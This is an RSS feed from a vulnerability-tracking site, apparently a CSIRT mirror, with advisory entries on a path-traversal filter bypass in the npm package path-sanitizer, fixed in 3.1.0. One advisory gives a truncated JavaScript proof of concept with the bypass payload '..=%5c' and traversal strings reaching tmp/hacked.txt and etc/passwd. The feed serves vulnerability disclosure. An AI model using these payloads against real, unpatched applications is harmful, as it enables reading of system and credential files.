<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Fri, 23 Oct 2026 05:16:21 +0000</lastBuildDate>
    <item>
      <title>EUVD-2026-207882</title>
      <link>https://cve.radiocsirt.org/vuln/euvd-2026-207882</link>
      <description>EUVD-2026-207882</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/euvd-2026-207882</guid>
    </item>
    <item>
      <title>fkie_cve-2024-56198</title>
      <link>https://cve.radiocsirt.org/vuln/fkie_cve-2024-56198</link>
      <description>&lt;p&gt;path-sanitizer is a simple lightweight npm package for sanitizing paths to prevent Path Traversal. Prior to 3.1.0, the filters can be bypassed using .=%5c which results in a path traversal. This vulnerability is fixed in 3.1.0.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;path-sanitizer is a simple lightweight npm package for sanitizing paths to prevent Path Traversal. Prior to 3.1.0, the filters can be bypassed using .=%5c which results in a path traversal. This vulnerability is fixed in 3.1.0.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/fkie_cve-2024-56198</guid>
    </item>
    <item>
      <title>GHSA-94p5-r7cc-3rpr — path-sanitizer allows bypassing the existing filters to achieve path-traversal vulnerability</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-94p5-r7cc-3rpr</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: path-sanitizer&lt;/p&gt;
&lt;p&gt;### Summary
This is a POC for a path-sanitizer [npm package](https://www.npmjs.com/package/path-sanitizer). The filters can be bypassed and can result in path traversal.&lt;/p&gt;
&lt;p&gt;Payload: `..=%5c` can be used to bypass this on CLI (along with other candidates). Something similar would likely work on web apps as well.&lt;/p&gt;
&lt;p&gt;### PoC
Here&amp;#39;s the code to test for the filter bypass:&lt;/p&gt;
&lt;p&gt;```js
const sanitize = require(&amp;#34;path-sanitizer&amp;#34;)
const path = require(&amp;#34;path&amp;#34;)
const fs = require(&amp;#34;fs&amp;#34;)&lt;/p&gt;
&lt;p&gt;// Real scenario:
function routeHandler(myPath) {
  // Lets just assume that the path was extracted from the request
  // We want to read a file in the C:\Users\user\Desktop\myApp\ directory
  // But the user should be able to access C:\Users\user\Desktop\
  // So we need to sanitize the path&lt;/p&gt;
&lt;p&gt;const APP_DIR = &amp;#34;/var/hacker&amp;#34;
  const sanitized = path.join(APP_DIR, sanitize(myPath))&lt;/p&gt;
&lt;p&gt;// Now we would usally read the file
  // But in this case we just gonna print the path
  // console.log(sanitized)
  return sanitized
}&lt;/p&gt;
&lt;p&gt;function readFile(filePath) {
  const absolutePath = path.resolve(filePath) // Resolve to absolute path&lt;/p&gt;
&lt;p&gt;fs.readFile(absolutePath, &amp;#34;utf8&amp;#34;, (err, data) =&amp;gt; {
    if (err) {
      console.error(`Error reading the file: ${err.message}`)
      return
    }
    console.log(`Contents of the file ${filePath} :\n${data}`)
  })
}&lt;/p&gt;
&lt;p&gt;input_user_bypass = &amp;#34;..=%5c..=%5c..=%5c..=%5c..=%5c..=%5c..=%5ctmp/hacked.txt&amp;#34;
// input_user_bypass = &amp;#34;..=%5c..=%5c..=%5c..=%5c..=%5c..=%5c..=%5cetc/passwd&amp;#34;
input_user_payload…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: path-sanitizer&lt;/p&gt;
&lt;p&gt;### Summary
This is a POC for a path-sanitizer [npm package](https://www.npmjs.com/package/path-sanitizer). The filters can be bypassed and can result in path traversal.&lt;/p&gt;
&lt;p&gt;Payload: `..=%5c` can be used to bypass this on CLI (along with other candidates). Something similar would likely work on web apps as well.&lt;/p&gt;
&lt;p&gt;### PoC
Here&amp;#39;s the code to test for the filter bypass:&lt;/p&gt;
&lt;p&gt;```js
const sanitize = require(&amp;#34;path-sanitizer&amp;#34;)
const path = require(&amp;#34;path&amp;#34;)
const fs = require(&amp;#34;fs&amp;#34;)&lt;/p&gt;
&lt;p&gt;// Real scenario:
function routeHandler(myPath) {
  // Lets just assume that the path was extracted from the request
  // We want to read a file in the C:\Users\user\Desktop\myApp\ directory
  // But the user should be able to access C:\Users\user\Desktop\
  // So we need to sanitize the path&lt;/p&gt;
&lt;p&gt;const APP_DIR = &amp;#34;/var/hacker&amp;#34;
  const sanitized = path.join(APP_DIR, sanitize(myPath))&lt;/p&gt;
&lt;p&gt;// Now we would usally read the file
  // But in this case we just gonna print the path
  // console.log(sanitized)
  return sanitized
}&lt;/p&gt;
&lt;p&gt;function readFile(filePath) {
  const absolutePath = path.resolve(filePath) // Resolve to absolute path&lt;/p&gt;
&lt;p&gt;fs.readFile(absolutePath, &amp;#34;utf8&amp;#34;, (err, data) =&amp;gt; {
    if (err) {
      console.error(`Error reading the file: ${err.message}`)
      return
    }
    console.log(`Contents of the file ${filePath} :\n${data}`)
  })
}&lt;/p&gt;
&lt;p&gt;input_user_bypass = &amp;#34;..=%5c..=%5c..=%5c..=%5c..=%5c..=%5c..=%5ctmp/hacked.txt&amp;#34;
// input_user_bypass = &amp;#34;..=%5c..=%5c..=%5c..=%5c..=%5c..=%5c..=%5cetc/passwd&amp;#34;
input_user_payload…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-94p5-r7cc-3rpr</guid>
    </item>
  </channel>
</rss>
